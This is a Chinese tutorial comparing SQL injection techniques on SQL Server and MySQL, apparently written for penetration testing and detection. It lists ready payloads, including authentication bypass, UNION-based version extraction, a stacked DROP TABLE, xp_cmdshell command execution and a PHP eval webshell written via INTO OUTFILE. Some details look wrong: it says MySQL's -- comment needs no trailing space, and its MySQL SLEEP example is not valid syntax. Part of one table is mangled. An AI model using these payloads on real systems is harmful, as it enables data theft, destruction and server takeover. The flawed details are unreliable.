SQL 注入的核心原理是攻击者通过构造恶意输入,篡改数据库执行的 SQL 语句逻辑,但其具体利用方式会因数据库管理系统(DBMS)的语法特性、内置功能和配置差异而有所不同。SQL Server 和 MySQL 作为两种主流的关系型数据库,在 SQL 注入场景中的区别主要体现在以下几个方面:
一、注释符的差异
注释符是 SQL 注入中常用的工具,用于截断原始 SQL 语句的剩余部分,避免语法错误。两种数据库支持的注释符存在差异:
数据库 | 常用注释符 | 说明 |
---|---|---|
SQL Server | -- (双减号 + 空格)、/* */ (多行注释) |
-- 后必须加空格,否则可能被解析为标识符的一部分;/* */ 支持多行注释。 |
MySQL | -- (双减号 + 空格)、# (井号)、/* */ |
# 是 MySQL 特有的单行注释符,无需空格;-- 后也可加空格或直接换行(部分版本支持)。 |
注入示例 :
假设原始查询为 SELECT * FROM users WHERE username = 'input'
:
- SQL Server 注入需用
' OR 1=1--
(注意--
后有空格); - MySQL 注入可用
' OR 1=1#
或' OR 1=1--
(无需空格)。
二、字符串连接方式的差异
注入时 often 需要拼接字符串(如构造联合查询、生成恶意语句),两种数据库的字符串连接语法不同:
数据库 | 字符串连接方式 | 示例 | ||||
---|---|---|---|---|---|---|
SQL Server | 使用 + 运算符 |
'a' + 'b' 结果为 'ab' |
||||
MySQL | 使用 CONCAT() 函数或 ` |
`(需配置) | CONCAT('a', 'b') 结果为 'ab' ;` |
默认为逻辑或,需开启 PIPES_AS_CONCAT` 模式才作为连接符。 |
注入影响 :
在构造联合查询(如 UNION SELECT
)时,拼接字段的语法不同。例如,获取版本信息时:
- SQL Server:
UNION SELECT 1, @@version, 3--
- MySQL:
UNION SELECT 1, CONCAT(version()), 3#
三、系统元数据查询的差异
注入时需枚举数据库结构(库名、表名、列名等),但两种数据库存储元数据的系统表 / 视图不同:
数据库 | 元数据存储位置 | 常用查询示例(获取表名) |
---|---|---|
SQL Server | 系统视图(如 sys.databases 、sys.tables 、sys.columns ) |
SELECT name FROM sys.tables-- (查询当前库所有表) |
MySQL | information_schema 数据库(通用标准) |
SELECT table_name FROM information_schema.tables WHERE table_schema = database()# (查询当前库所有表) |
差异细节:
- SQL Server 的系统视图与数据库绑定更紧密,需通过
sys.databases
先获取库名,再切换库查询表; - MySQL 的
information_schema
是全局元数据库,可直接跨库查询(需权限)。
四、堆叠查询(Stacked Queries)的支持差异
堆叠查询指在一个 SQL 语句中通过分号 ;
分隔多个独立语句,攻击者可借此执行额外操作(如删表、插入数据)。两种数据库的支持情况不同:
数据库 | 堆叠查询支持情况 | 限制条件 |
---|---|---|
SQL Server | 默认支持(多数驱动和接口允许) | 需注入点位于语句开头或中间,且权限足够(如 sa 权限)。 |
MySQL | 部分支持(依赖驱动和接口) | 传统 mysql_query() 函数不支持,需用 mysqli_multi_query() 等;且部分环境会禁用分号解析。 |
注入示例:
- SQL Server:
' ; DROP TABLE users--
(直接执行删表) - MySQL:需接口支持多语句,例如
' ; INSERT INTO users (username) VALUES ('hacker')#
。
五、错误信息与盲注函数的差异
当注入无法直接返回结果时,攻击者需通过错误信息或时间延迟判断逻辑是否成立,两种数据库的错误提示和盲注函数不同:
1. 错误信息特征
错误信息是攻击者识别数据库类型的重要依据:
- SQL Server 错误示例:
Invalid column name 'x'
(无效列名)、Incorrect syntax near ';'
(语法错误)。 - MySQL 错误示例:
Unknown column 'x' in 'where clause'
(未知列)、You have an error in your SQL syntax
(语法错误)。
2. 时间盲注函数
时间盲注通过延迟执行判断条件是否成立,函数差异如下:
数据库 | 时间延迟函数 / 语法 | 示例 |
---|---|---|
SQL Server | WAITFOR DELAY '时间' |
IF (1=1) WAITFOR DELAY '0:0:5'-- (延迟 5 秒) |
MySQL | SLEEP(N) 或 BENCHMARK() |
IF (1=1) SLEEP(5)# (延迟 5 秒) |
六、内置功能与权限滥用的差异
两种数据库的内置函数、存储过程和权限特性不同,导致高阶注入利用方式存在差异:
1. 系统命令执行
- SQL Server :可通过扩展存储过程
xp_cmdshell
执行系统命令(需sa
权限且启用),例如:
' ; EXEC xp_cmdshell 'whoami'--
- MySQL :无直接执行系统命令的内置函数,需通过
into outfile
写文件(如写 Webshell),例如:
' UNION SELECT '<?php eval($_POST[x]);?>' INTO OUTFILE 'C:/web/shell.php'#
(需文件权限和secure_file_priv
配置允许)。
2. 敏感信息函数
获取数据库用户、版本等信息的函数不同:
- SQL Server :
@@version
(版本)、SUSER_SNAME()
(当前用户)、DB_NAME()
(当前库)。 - MySQL :
version()
(版本)、user()
(当前用户)、database()
(当前库)。
七、其他语法细节差异
- 字符串大小写敏感性 :
- SQL Server 默认不区分大小写(取决于排序规则);
- MySQL 对表名、列名的大小写敏感(取决于操作系统,Linux 敏感,Windows 不敏感)。
- 空值处理 :
- SQL Server 用
NULL
,判断空值需用IS NULL
; - MySQL 同样用
NULL
,但部分场景下''
(空字符串)与NULL
处理不同。
- SQL Server 用
- 分页语法 :
- SQL Server 用
OFFSET ... FETCH
或TOP N
; - MySQL 用
LIMIT N, M
,注入时构造分页逻辑的语法不同。
- SQL Server 用
总结
SQL Server 和 MySQL 的 SQL 注入差异本质上源于两者的语法设计、系统表结构、内置功能和配置特性。尽管核心注入原理一致,但具体利用手段(如注释符、元数据查询、堆叠查询、盲注函数)均需适配目标数据库的特性。了解这些差异有助于更精准地检测注入攻击,或在渗透测试中针对性构造 payload。